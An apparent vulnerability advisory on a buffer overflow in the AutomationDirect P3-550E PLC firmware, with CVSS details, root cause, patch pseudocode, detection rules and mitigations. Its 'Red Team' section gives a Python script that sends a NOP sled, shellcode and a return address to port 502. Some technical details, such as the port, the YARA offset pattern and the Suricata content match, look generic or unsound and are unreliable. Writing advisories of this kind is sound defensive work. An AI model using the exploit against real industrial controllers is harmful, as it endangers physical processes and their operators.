CVE-2024-24963

Executive Summary

CVE-2024-24963 is a critical stack-based buffer overflow vulnerability in the Programming Software Connection FileSelect functionality of AutomationDirect P3-550E firmware version 1.2.10.9. The flaw is triggered by a specially crafted network packet sent to the device without authentication, leading to remote code execution (RCE) with high impact on confidentiality, integrity, and availability. The vulnerability resides at offset 0xb6e84 in the firmware binary. No public proof-of-concept (PoC) or exploit code is available, and no patch has been released by the vendor. The EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the CVSS score of 9.8 underscores the severity if exploited.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects an embedded industrial control system (ICS) device, specifically the AutomationDirect P3-550E programmable logic controller (PLC). The risk is primarily in operational technology (OT) environments where unpatched devices are exposed to untrusted networks.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Full data compromise.
• Integrity Impact: High (I:H) – Full control over device operations.
• Availability Impact: High (A:H) – Potential denial of service or device takeover.

Threat Level: Critical. The vulnerability allows unauthenticated remote attackers to execute arbitrary code on the PLC, potentially disrupting industrial processes, causing physical damage, or enabling lateral movement within OT networks.

Deep Dive & Mechanics

The vulnerability is a stack-based buffer overflow in the FileSelect function of the Programming Software Connection component. The firmware binary at offset 0xb6e84 contains a function that processes incoming network packets without proper bounds checking. When a packet with a specially crafted payload is sent, it overflows a fixed-size stack buffer, overwriting the return address and other critical stack data. This allows an attacker to hijack the execution flow and inject shellcode.

Root Cause: The FileSelect function uses a strcpy or similar unsafe copy operation on user-supplied data without validating the length against the destination buffer size. The buffer is allocated on the stack, making it vulnerable to classic stack smashing.

Attack Vector: The attacker sends a crafted network packet to the PLC's programming port (typically port 502 for Modbus/TCP or a proprietary port). The packet triggers the vulnerable code path in the FileSelect handler.

Impact: Successful exploitation grants the attacker arbitrary code execution with the privileges of the PLC firmware process, typically root or system-level access. This can lead to:

• Modification of control logic (ladder logic).
• Exfiltration of sensitive process data.
• Denial of service by crashing the device.
• Use as a pivot point to attack other OT assets.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the only known version. The vulnerable function is located at offset 0xb6e84 in firmware version 1.2.10.9. A patched version would require:

• Replacing unsafe functions like strcpy with strncpy or using bounds-checked alternatives.
• Adding input validation to ensure packet payloads do not exceed buffer sizes.
• Implementing stack canaries to detect overflow attempts.

Hypothetical patched code snippet (C-like pseudocode):

// Vulnerable
void FileSelect(char *user_input) {
    char buffer[256];
    strcpy(buffer, user_input); // No bounds check
}

// Patched
void FileSelect(char *user_input) {
    char buffer[256];
    strncpy(buffer, user_input, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
}

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• AutomationDirect P3-550E with firmware 1.2.10.9.
• Network access to the PLC's programming port (e.g., port 502).
• Python 3 with socket and struct libraries.

Exploit Concept:

1. Craft a packet that triggers the FileSelect function.
2. Include a payload that overflows the stack buffer with:
   • NOP sled (e.g., \x90 repeated).
   • Shellcode (e.g., reverse shell or Modbus command injection).
   • Return address pointing to the shellcode.
3. Send the packet to the PLC.

Example Python script (conceptual):

import socket
import struct

target_ip = "192.168.1.100"
target_port = 502

# Shellcode placeholder (e.g., reverse shell)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Buffer overflow payload
buffer_size = 256
offset_to_ret = 260  # Adjust based on stack layout
nop_sled = b"\x90" * (offset_to_ret - len(shellcode))
ret_addr = struct.pack("<I", 0xbffffabc)  # Example stack address

payload = nop_sled + shellcode + ret_addr

# Craft packet (simplified)
packet = b"\x00\x01"  # Transaction ID
packet += b"\x00\x00"  # Protocol ID
packet += struct.pack(">H", len(payload) + 2)  # Length
packet += b"\x00"  # Unit ID
packet += b"\x2b"  # Function code (example)
packet += payload

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(packet)
sock.close()

Note: This is a conceptual example. Actual exploitation requires reverse engineering the firmware to determine exact offsets and stack layout.

Blue Team (Defensive)

Detection:

• Monitor for anomalous network traffic to port 502 or other programming ports.
• Look for packets with unusually large payloads or malformed Modbus frames.
• Use intrusion detection systems (IDS) with custom signatures.

Mitigation:

• Isolate PLCs on segmented OT networks with strict firewall rules.
• Disable unused programming ports or restrict access via IP whitelisting.
• Implement network-based anomaly detection for Modbus/TCP traffic.
• Monitor for unexpected process crashes or reboots on the PLC.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Unusually large Modbus/TCP packets (payload > 256 bytes) to port 502.
  • Packets containing long sequences of NOP sled bytes (\x90).
  • Repeated connection attempts from unknown IPs to the PLC's programming port.
• Host IOCs:
  • Unexpected firmware crashes or watchdog resets.
  • Modified ladder logic or control programs.
  • Unauthorized shell processes or network connections from the PLC.
• File IOCs:
  • Firmware binary with modifications at offset 0xb6e84 (if patched).
  • Logs showing buffer overflow errors (if available).

Detection Engineering

YARA Rule

rule CVE_2024_24963_StackOverflow {
    meta:
        description = "Detects stack-based buffer overflow in AutomationDirect P3-550E firmware"
        author = "Valters IT"
        date = "2024-01-01"
        cve = "CVE-2024-24963"
    strings:
        $s1 = { b6 e8 4? }  // Offset 0xb6e84 in firmware
        $s2 = "FileSelect" nocase
        $s3 = "strcpy" nocase
    condition:
        $s1 and ($s2 or $s3)
}

Sigma Rule

title: CVE-2024-24963 Exploitation Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects network packets targeting AutomationDirect P3-550E with oversized payloads
author: Valters IT
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 502
        payload_length: > 256
    condition: selection
falsepositives:
    - Legitimate large Modbus packets (rare)
level: critical

Suricata Rule

alert tcp any any -> any 502 (msg:"CVE-2024-24963 - Stack Overflow Attempt"; flow:to_server; content:"|00 00 00 00 00 00 00 00|"; offset:0; depth:8; content:"|90 90 90 90|"; within:256; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate P3-550E PLCs on dedicated OT VLANs with strict access controls.
2. Firewall Rules: Block inbound traffic to port 502 from untrusted networks. Allow only specific management IPs.
3. Monitor Logs: Enable and review PLC logs for crashes or anomalies.
4. Disable Unused Services: If the FileSelect functionality is not required, disable it via device configuration.

Long-Term Fix:

• Contact AutomationDirect for an official patch. As of now, no patch is available.
• Consider replacing the device with a patched or alternative model if the vulnerability cannot be mitigated.
• Implement a virtual patching solution (e.g., WAF or IDS) to block exploit attempts.

Workaround:

• Use a Modbus/TCP proxy that validates packet sizes and drops oversized payloads.
• Apply strict input validation at the network perimeter.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert